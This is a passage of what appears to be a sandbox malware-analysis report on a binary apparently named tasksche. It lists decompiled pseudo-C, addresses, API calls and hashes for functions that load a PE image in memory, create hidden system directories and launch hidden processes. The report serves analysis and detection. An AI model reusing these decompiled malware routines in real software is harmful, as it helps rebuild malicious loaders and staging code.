									if( *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68) {
										_t152 = 1;
										 *((intOrPtr*)(_t156 + 0x18)) = _t152;
									} else {
										 *((intOrPtr*)(_t156 + 0x18)) = E00402758(_t156, _t111);
										_t152 = 1;
									}
									if(E004027DF(_t156) != 0 && E0040254B(_t156) != 0 && E0040271D(_t156) != 0) {
										_t116 =  *((intOrPtr*)( *_t156 + 0x28));
										if(_t116 == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = 0;
											L41:
											return _t156;
										}
										if( *(_t156 + 0x14) == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = _t116 + _t127;
											goto L41;
										}
										_push(0);
										_push(_t152);
										_push(_t127);
										if( *((intOrPtr*)(_t116 + _t127))() != 0) {
											 *((intOrPtr*)(_t156 + 0x10)) = _t152;
											goto L41;
										}
										SetLastError(0x45a);
									}
									goto L36;
								}
								_a16(_t127, _t91, 0x8000, _a32);
								L23:
								SetLastError(0xe);
								L3:
								goto L37;
							}
							_t127 = _a12(_t89, _t155, 0x3000, 4, _a32);
							_t160 = _t160 + 0x14;
							if(_t127 == 0) {
								goto L23;
							}
							goto L21;
						}
						_t145 = _t82 + 0xc;
						do {
							_t157 =  *((intOrPtr*)(_t145 + 4));
							_t124 =  *_t145;
							if(_t157 != 0) {
								_t125 = _t124 + _t157;
							} else {
								_t125 = _t124 + _t126;
							}
							if(_t125 > _v8) {
								_v8 = _t125;
							}
							_t145 = _t145 + 0x28;
							_t146 = _t146 - 1;
						} while (_t146 != 0);
						goto L16;
					}
				}
				L2:
				SetLastError(0xc1);
				goto L3;
			}






























                      0x004021ef
                      0x004021f8
                      0x00402204
                      0x0040243d
                      0x00000000
                      0x0040243d
                      0x0040220a
                      0x00402212
                      0x00402239
                      0x00000000
                      0x00000000
                      0x00402242
                      0x0040224a
                      0x00000000
                      0x00402254
                      0x00402254
                      0x00402254
                      0x0040225a
                      0x00000000
                      0x00000000
                      0x0040225c
                      0x00402260
                      0x00402260
                      0x00402266
                      0x0040226a
                      0x0040228c
                      0x00402291
                      0x00402299
                      0x00000000
                      0x00000000
                      0x004022a7
                      0x004022aa
                      0x004022af
                      0x00000000
                      0x00000000
                      0x004022b9
                      0x004022bb
                      0x004022be
                      0x004022c1
                      0x004022c8
                      0x004022cb
                      0x004022d1
                      0x004022d7
                      0x00000000
                      0x00000000
                      0x004022e8
                      0x004022eb
                      0x004022ee
                      0x004022f0
                      0x004022f5
                      0x0040230f
                      0x0040231a
                      0x00402320
                      0x00402324
                      0x0040233d
                      0x00402340
                      0x0040234a
                      0x00402350
                      0x00402356
                      0x0040235c
                      0x00402362
                      0x00402368
                      0x0040236e
                      0x00402374
                      0x00402377
                      0x00402386
                      0x00402436
                      0x00402437
                      0x00000000
                      0x0040243c
                      0x00402396
                      0x0040239a
                      0x0040239d
                      0x004023a0
                      0x004023a7
                      0x004023ba
                      0x004023bc
                      0x004023bf
                      0x004023cc
                      0x00000000
                      0x00000000
                      0x004023d3
                      0x004023d3
                      0x004023d6
                      0x004023eb
                      0x004023ec
                      0x004023d8
                      0x004023e0
                      0x004023e6
                      0x004023e6
                      0x004023f8
                      0x00402414
                      0x00402419
                      0x0040244d
                      0x00402450
                      0x00000000
                      0x00402450
                      0x0040241e
                      0x00402448
                      0x00000000
                      0x00402448
                      0x00402420
                      0x00402421
                      0x00402424
                      0x00402429
                      0x00402441
                      0x00000000
                      0x00402441
                      0x00402430
                      0x00402430
                      0x00000000
                      0x004023f8
                      0x00402330
                      0x00402336
                      0x00402219
                      0x00402219
                      0x00000000
                      0x00402219
                      0x00402306
                      0x00402308
                      0x0040230d
                      0x00000000
                      0x00000000
                      0x00000000
                      0x0040230d
                      0x0040226c
                      0x0040226f
                      0x0040226f
                      0x00402272
                      0x00402276
                      0x0040227c
                      0x00402278
                      0x00402278
                      0x00402278
                      0x00402281
                      0x00402283
                      0x00402283
                      0x00402286
                      0x00402289
                      0x00402289
                      0x00000000
                      0x0040226f
                      0x0040224a
                      0x00402214
                      0x00402219
                      0x00000000

                      APIs
                        • Part of subcall function 00402457: SetLastError.KERNEL32(0000000D,00402200,?!@,00000040,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402463
                      • SetLastError.KERNEL32(000000C1,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402219
                      • GetModuleHandleA.KERNEL32(kernel32.dll,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402291
                      • GetProcessHeap.KERNEL32(00000008,0000003C,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2), ref: 00402313
                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 0040231A
                      • memcpy.MSVCRT(00000000,?,8328EC83,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3), ref: 004023A7
                        • Part of subcall function 00402470: memset.MSVCRT(?,00000000,?), ref: 004024D5
                      • SetLastError.KERNEL32(0000045A), ref: 00402430
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: ErrorLast$Heap$AllocHandleModuleProcessmemcpymemset
                      • String ID: ?!@$GetNativeSystemInfo$kernel32.dll
                      • API String ID: 1900561814-3657104962
                      • Opcode ID: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                      • Instruction ID: 3b750285519b5b92c664dbe57bf04ddc7e4262fbacbc213f0015b22f99412f1c
                      • Opcode Fuzzy Hash: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                      • Instruction Fuzzy Hash: 0A81AD71A01602AFDB209FA5CE49AAB77E4BF08314F10443EF945E76D1D7B8E851CB98
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00401AF6 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45COMMON
                      Download Yara Rule
                      C-Code - Quality: 91%
                      			E00401AF6(WCHAR* _a4, WCHAR* _a8, wchar_t* _a12) {
				void* _t15;
				WCHAR* _t17;

				CreateDirectoryW(_a4, 0);
				if(SetCurrentDirectoryW(_a4) == 0) {
					L2:
					return 0;
				}
				_t17 = _a8;
				CreateDirectoryW(_t17, 0);
				if(SetCurrentDirectoryW(_t17) != 0) {
					SetFileAttributesW(_t17, GetFileAttributesW(_t17) | 0x00000006);
					if(_a12 != 0) {
						_push(_t17);
						swprintf(_a12, L"%s\\%s", _a4);
					}
					_t15 = 1;
					return _t15;
				}
				goto L2;
			}





                      0x00401b07
                      0x00401b16
                      0x00401b27
                      0x00000000
                      0x00401b27
                      0x00401b18
                      0x00401b1e
                      0x00401b25
                      0x00401b36
                      0x00401b40
                      0x00401b42
                      0x00401b4e
                      0x00401b54
                      0x00401b59
                      0x00000000
                      0x00401b59
                      0x00000000

                      APIs
                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                      • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                      • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                      • GetFileAttributesW.KERNEL32(?), ref: 00401B2C
                      • SetFileAttributesW.KERNEL32(?,00000000), ref: 00401B36
                      • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00401B4E
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: Directory$AttributesCreateCurrentFile$swprintf
                      • String ID: %s\%s
                      • API String ID: 1036847564-4073750446
                      • Opcode ID: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                      • Instruction ID: 4a0a9b6f0974b2b783bf1fd4f993800d593798a72c4fd06372b86497b3864b36
                      • Opcode Fuzzy Hash: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                      • Instruction Fuzzy Hash: 99F06271200208BBEB103F65DE44F9B3B2CEB457A5F015832FA46B61A1DB75A855CAB8
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00401064 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63processsynchronizationCOMMON
                      Download Yara Rule
                      C-Code - Quality: 81%
                      			E00401064(CHAR* _a4, long _a8, DWORD* _a12) {
				struct _PROCESS_INFORMATION _v20;
				struct _STARTUPINFOA _v88;
				signed int _t32;
				intOrPtr _t37;

				_t32 = 0x10;
				_v88.cb = 0x44;
				memset( &(_v88.lpReserved), 0, _t32 << 2);
				_v20.hProcess = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t37 = 1;
				_v88.wShowWindow = 0;
				_v88.dwFlags = _t37;
				if(CreateProcessA(0, _a4, 0, 0, 0, 0x8000000, 0, 0,  &_v88,  &_v20) == 0) {
					return 0;
				}
				if(_a8 != 0) {
					if(WaitForSingleObject(_v20.hProcess, _a8) != 0) {
						TerminateProcess(_v20.hProcess, 0xffffffff);
					}
					if(_a12 != 0) {
						GetExitCodeProcess(_v20.hProcess, _a12);
					}
				}
				CloseHandle(_v20);
				CloseHandle(_v20.hThread);
				return _t37;
			}







                      0x00401070
                      0x00401074
                      0x0040107d
                      0x00401082
                      0x00401085
                      0x00401086
                      0x00401087
                      0x0040108d
                      0x0040108e
                      0x004010a1
                      0x004010b0
                      0x00000000
                      0x004010f7
                      0x004010b5
                      0x004010c5
                      0x004010cc
                      0x004010cc
                      0x004010d5
                      0x004010dd
                      0x004010dd
                      0x004010d5
                      0x004010ec
                      0x004010f1
                      0x00000000

                      APIs
                      • CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 004010A8
                      • WaitForSingleObject.KERNEL32(?,?), ref: 004010BD
                      • TerminateProcess.KERNEL32(?,000000FF), ref: 004010CC
                      • GetExitCodeProcess.KERNEL32(?,?), ref: 004010DD
                      • CloseHandle.KERNEL32(?), ref: 004010EC
                      • CloseHandle.KERNEL32(?), ref: 004010F1
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseHandle$CodeCreateExitObjectSingleTerminateWait
                      • String ID: D
                      • API String ID: 786732093-2746444292
                      • Opcode ID: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                      • Instruction ID: fabf2a0aaa91e867d54492d1ca24e81fc8ed090543e33b3e61fa812da4358066
                      • Opcode Fuzzy Hash: 520ef4afec62fe4405832db260c3c6b21caa087d375fb1c1d919acb3a27097cb
                      • Instruction Fuzzy Hash: 8D116431900229ABDB218F9ADD04ADFBF79FF04720F008426F514B65A0DB708A18DAA8
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 004077BA Relevance: 12.1, APIs: 8, Instructions: 77COMMON
                      Download Yara Rule
                      C-Code - Quality: 81%
                      			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				intOrPtr* _t23;
				intOrPtr* _t24;
				void* _t27;
				void _t29;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t46;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40d488);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x40f94c =  *0x40f94c | 0xffffffff;
				 *0x40f950 =  *0x40f950 | 0xffffffff;
				_t23 = __p__fmode();
				_t46 =  *0x40f948; // 0x0
				 *_t23 = _t46;
				_t24 = __p__commode();
				_t47 =  *0x40f944; // 0x0
				 *_t24 = _t47;
				 *0x40f954 = _adjust_fdiv;
				_t27 = E0040793F( *_adjust_fdiv);
				_t61 =  *0x40f870; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E0040793C);
				}
				E0040792A(_t27);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t29 =  *0x40f940; // 0x0
				_v112 = _t29;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x40f93c,  &_v112);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while(1) {
						__eflags =  *_t55 - 0x20;
						if(__eflags <= 0) {
							goto L7;
						}
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				L7:
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				_t69 = _v96.dwFlags & 0x00000001;
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_t40 = L00401FE7(_t69, GetModuleHandleA(0), 0, _t55, _t38);
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L0040791E();
				return _t41;
			}





























                      0x004077bd
                      0x004077bf
                      0x004077c4
                      0x004077cf
                      0x004077d0
                      0x004077dd
                      0x004077e2
                      0x004077e7
                      0x004077ee
                      0x004077f5
                      0x004077fc
                      0x00407802
                      0x00407808
                      0x0040780a
                      0x00407810
                      0x00407816
                      0x0040781f
                      0x00407824
                      0x00407829
                      0x0040782f
                      0x00407836
                      0x0040783c
                      0x0040783d
                      0x00407842
                      0x00407847
                      0x0040784c
                      0x00407851
                      0x00407856
                      0x0040786f
                      0x00407875
                      0x0040787a
                      0x0040787f
                      0x0040788c
                      0x0040788e
                      0x00407894
                      0x004078d0
                      0x004078d0
                      0x004078d3
                      0x00000000
                      0x00000000
                      0x004078d5
                      0x004078d6
                      0x004078d6
                      0x00407896
                      0x00407896
                      0x00407896
                      0x00407897
                      0x0040789a
                      0x0040789c
                      0x004078a7
                      0x004078a9
                      0x004078a9
                      0x004078aa
                      0x004078aa
                      0x004078a7
                      0x004078ad
                      0x004078ad
                      0x004078b1
                      0x00000000
                      0x00000000
                      0x004078b7
                      0x004078be
                      0x004078c4
                      0x004078c8
                      0x004078dd
                      0x004078ca
                      0x004078ca
                      0x004078ca
                      0x004078e9
                      0x004078ee
                      0x004078f2
                      0x004078f8
                      0x004078fd
                      0x004078ff
                      0x00407902
                      0x00407903
                      0x00407904
                      0x0040790b

                      APIs
                      • __set_app_type.MSVCRT(00000002), ref: 004077E7
                      • __p__fmode.MSVCRT ref: 004077FC
                      • __p__commode.MSVCRT ref: 0040780A
                      • _initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
                      • __getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
                      • _initterm.MSVCRT(0040E000,0040E004), ref: 0040787F
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: _initterm$__getmainargs__p__commode__p__fmode__set_app_type
                      • String ID:
                      • API String ID: 3626615345-0
                      • Opcode ID: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                      • Instruction ID: 63d29f1c4e41429a3497612c8de1f509d91e94429ea3a2aefb8dc74a018e4fb3
                      • Opcode Fuzzy Hash: bfbd7971593811c7fff28e35bb39fa0d644f96314b868f8e424e213b276a966c
                      • Instruction Fuzzy Hash: 51318BB1D04344AFDB20AFA5DE49F5A7BA8BB05710F10463EF541B72E0CB786805CB59
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00407831 Relevance: 12.1, APIs: 8, Instructions: 72COMMON
                      Download Yara Rule
                      C-Code - Quality: 84%
                      			E00407831(CHAR* __ebx) {
				void* _t19;
				void _t21;
				intOrPtr _t28;
				signed int _t30;
				int _t32;
				intOrPtr* _t33;
				intOrPtr _t34;
				CHAR* _t35;
				intOrPtr _t38;
				intOrPtr* _t41;
				void* _t42;

				_t35 = __ebx;
				__setusermatherr(E0040793C);
				E0040792A(_t19);
				_push(0x40e00c);
				_push(0x40e008);
				L00407924();
				_t21 =  *0x40f940; // 0x0
				 *(_t42 - 0x6c) = _t21;
				__getmainargs(_t42 - 0x60, _t42 - 0x70, _t42 - 0x64,  *0x40f93c, _t42 - 0x6c);
				_push(0x40e004);
				_push(0x40e000);
				L00407924();
				_t41 =  *_acmdln;
				 *((intOrPtr*)(_t42 - 0x74)) = _t41;
				if( *_t41 != 0x22) {
					while(1) {
						__eflags =  *_t41 - 0x20;
						if(__eflags <= 0) {
							goto L6;
						}
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				} else {
					do {
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
						_t34 =  *_t41;
					} while (_t34 != _t35 && _t34 != 0x22);
					if( *_t41 == 0x22) {
						L5:
						_t41 = _t41 + 1;
						 *((intOrPtr*)(_t42 - 0x74)) = _t41;
					}
				}
				L6:
				_t28 =  *_t41;
				if(_t28 != _t35 && _t28 <= 0x20) {
					goto L5;
				}
				 *(_t42 - 0x30) = _t35;
				GetStartupInfoA(_t42 - 0x5c);
				_t52 =  *(_t42 - 0x30) & 0x00000001;
				if(( *(_t42 - 0x30) & 0x00000001) == 0) {
					_t30 = 0xa;
				} else {
					_t30 =  *(_t42 - 0x2c) & 0x0000ffff;
				}
				_t32 = L00401FE7(_t52, GetModuleHandleA(_t35), _t35, _t41, _t30);
				 *(_t42 - 0x68) = _t32;
				exit(_t32);
				_t33 =  *((intOrPtr*)(_t42 - 0x14));
				_t38 =  *((intOrPtr*)( *_t33));
				 *((intOrPtr*)(_t42 - 0x78)) = _t38;
				_push(_t33);
				_push(_t38);
				L0040791E();
				return _t33;
			}














                      0x00407831
                      0x00407836
                      0x0040783d
                      0x00407842
                      0x00407847
                      0x0040784c
                      0x00407851
                      0x00407856
                      0x0040786f
                      0x00407875
                      0x0040787a
                      0x0040787f
                      0x0040788c
                      0x0040788e
                      0x00407894
                      0x004078d0
                      0x004078d0
                      0x004078d3
                      0x00000000
                      0x00000000
                      0x004078d5
                      0x004078d6
                      0x004078d6
                      0x00407896
                      0x00407896
                      0x00407896
                      0x00407897
                      0x0040789a
                      0x0040789c
                      0x004078a7
                      0x004078a9
                      0x004078a9
                      0x004078aa
                      0x004078aa
                      0x004078a7
                      0x004078ad
                      0x004078ad
                      0x004078b1
                      0x00000000
                      0x00000000
                      0x004078b7
                      0x004078be
                      0x004078c4
                      0x004078c8
                      0x004078dd
                      0x004078ca
                      0x004078ca
                      0x004078ca
                      0x004078e9
                      0x004078ee
                      0x004078f2
                      0x004078f8
                      0x004078fd
                      0x004078ff
                      0x00407902
                      0x00407903
                      0x00407904
                      0x0040790b

                      APIs
                      • __setusermatherr.MSVCRT(0040793C), ref: 00407836
                        • Part of subcall function 0040792A: _controlfp.MSVCRT(00010000,00030000,00407842), ref: 00407934
                      • _initterm.MSVCRT(0040E008,0040E00C), ref: 0040784C
                      • __getmainargs.MSVCRT(?,?,?,?,0040E008,0040E00C), ref: 0040786F
                      • _initterm.MSVCRT(0040E000,0040E004), ref: 0040787F
                      • GetStartupInfoA.KERNEL32(?), ref: 004078BE
                      • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004078E2
                      • exit.MSVCRT(00000000,00000000,?,?,?,?), ref: 004078F2
                      • _XcptFilter.MSVCRT(?,?,?,?,?,?), ref: 00407904
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__setusermatherr_controlfpexit
                      • String ID:
                      • API String ID: 2141228402-0
                      • Opcode ID: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                      • Instruction ID: 738ed170af38765147f9c33b7b7214e7a7d60aeb9597ff7827fffae83538cc25
                      • Opcode Fuzzy Hash: e2abdc3946810ebb19c889ba728617f0f692a6676515e3c370649a79fa0f1872
                      • Instruction Fuzzy Hash: F52135B2C04258AEEB20AFA5DD48AAD7BB8AF05304F24443FF581B7291D7786841CB59
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 004027DF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON
                      Download Yara Rule
                      C-Code - Quality: 96%
                      			E004027DF(signed int* _a4) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr* _t50;
				intOrPtr _t53;
				intOrPtr _t55;
				void* _t58;
				void _t60;
				signed int _t63;
				signed int _t67;
				intOrPtr _t68;
				void* _t73;
				signed int _t75;
				intOrPtr _t87;
				intOrPtr* _t88;
				intOrPtr* _t90;
				void* _t91;

				_t90 = _a4;
				_t2 = _t90 + 4; // 0x4be8563c
				_t87 =  *_t2;
				_t50 =  *_t90 + 0x80;
				_t75 = 1;
				_v16 = _t87;
				_v12 = _t75;
				if( *((intOrPtr*)(_t50 + 4)) != 0) {
					_t73 =  *_t50 + _t87;
					if(IsBadReadPtr(_t73, 0x14) != 0) {
						L25:
						return _v12;
					}
					while(1) {
						_t53 =  *((intOrPtr*)(_t73 + 0xc));
						if(_t53 == 0) {
							goto L25;
						}
						_t8 = _t90 + 0x30; // 0xc085d0ff
						_t55 =  *((intOrPtr*)(_t90 + 0x24))(_t53 + _t87,  *_t8);
						_v8 = _t55;
						if(_t55 == 0) {
							SetLastError(0x7e);
							L23:
							_v12 = _v12 & 0x00000000;
							goto L25;
						}
						_t11 = _t90 + 0xc; // 0x317459c0
						_t14 = _t90 + 8; // 0x85000001
						_t58 = realloc( *_t14, 4 +  *_t11 * 4);
						if(_t58 == 0) {
							_t40 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t40);
							SetLastError(0xe);
							goto L23;
						}
						_t15 = _t90 + 0xc; // 0x317459c0
						 *(_t90 + 8) = _t58;
						 *((intOrPtr*)(_t58 +  *_t15 * 4)) = _v8;
						 *(_t90 + 0xc) =  *(_t90 + 0xc) + 1;
						_t60 =  *_t73;
						if(_t60 == 0) {
							_t88 = _t87 +  *((intOrPtr*)(_t73 + 0x10));
							_a4 = _t88;
						} else {
							_t88 =  *((intOrPtr*)(_t73 + 0x10)) + _v16;
							_a4 = _t60 + _t87;
						}
						while(1) {
							_t63 =  *_a4;
							if(_t63 == 0) {
								break;
							}
							if((_t63 & 0x80000000) == 0) {
								_t32 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t32);
								_t67 = _t63 + _v16 + 2;
							} else {
								_t30 = _t90 + 0x30; // 0xc085d0ff
								_push( *_t30);
								_t67 = _t63 & 0x0000ffff;
							}
							_t68 =  *((intOrPtr*)(_t90 + 0x28))(_v8, _t67);
							_t91 = _t91 + 0xc;
							 *_t88 = _t68;
							if(_t68 == 0) {
								_v12 = _v12 & 0x00000000;
								break;
							} else {
								_a4 =  &(_a4[1]);
								_t88 = _t88 + 4;
								continue;
							}
						}
						if(_v12 == 0) {
							_t45 = _t90 + 0x30; // 0xc085d0ff
							 *((intOrPtr*)(_t90 + 0x2c))(_v8,  *_t45);
							SetLastError(0x7f);
							goto L25;
						}
						_t73 = _t73 + 0x14;
						if(IsBadReadPtr(_t73, 0x14) == 0) {
							_t87 = _v16;
							continue;
						}
						goto L25;
					}
					goto L25;
				}
				return _t75;
			}




















                      0x004027e6
                      0x004027ee
                      0x004027ee
                      0x004027f1
                      0x004027f6
                      0x004027f7
                      0x004027fa
                      0x00402801
                      0x0040280d
                      0x0040281a
                      0x0040291c
                      0x00000000
                      0x0040291f
                      0x00402825
                      0x00402825
                      0x0040282a
                      0x00000000
                      0x00000000
                      0x00402830
                      0x00402836
                      0x0040283a
                      0x00402840
                      0x004028fd
                      0x004028fd
                      0x00402903
                      0x00000000
                      0x00402903
                      0x00402846
                      0x00402851
                      0x00402854
                      0x0040285e
                      0x004028f0
                      0x004028f6
                      0x004028fd
                      0x00000000
                      0x004028fd
                      0x00402864
                      0x0040286a
                      0x0040286d
                      0x00402870
                      0x00402873
                      0x00402877
                      0x00402889
                      0x0040288b
                      0x00402879
                      0x0040287e
                      0x00402881
                      0x00402881
                      0x0040288e
                      0x00402891
                      0x00402895
                      0x00000000
                      0x00000000
                      0x0040289c
                      0x004028ab
                      0x004028ab
                      0x004028b0
                      0x0040289e
                      0x0040289e
                      0x0040289e
                      0x004028a1
                      0x004028a1
                      0x004028b7
                      0x004028ba
                      0x004028bd
                      0x004028c1
                      0x004028cc
                      0x00000000
                      0x004028c3
                      0x004028c3
                      0x004028c7
                      0x00000000
                      0x004028c7
                      0x004028c1
                      0x004028d4
                      0x00402909
                      0x0040290f
                      0x00402916
                      0x00000000
                      0x00402916
                      0x004028d6
                      0x004028e4
                      0x00402822
                      0x00000000
                      0x00402822
                      0x00000000
                      0x004028ea
                      0x00000000
                      0x00402825
                      0x00000000

                      APIs
                      • IsBadReadPtr.KERNEL32(00000000,00000014,00000000,00000001,00000000,?!@,004023F5,00000000), ref: 00402812
                      • realloc.MSVCRT(85000001,317459C0), ref: 00402854
                      • IsBadReadPtr.KERNEL32(-00000014,00000014), ref: 004028DC
                      Strings
                      Memory Dump Source
                      • Source File: 00000018.00000002.476808460.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 00000018.00000002.476796809.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476831292.0000000000408000.00000002.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpDownload File
                      • Associated: 00000018.00000002.476874714.0000000000410000.00000002.00000001.01000000.00000005.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_24_2_400000_tasksche.jbxd
                      Yara matches
                      Similarity
                      • API ID: Read$realloc
                      • String ID: ?!@
                      • API String ID: 1241503663-708128716
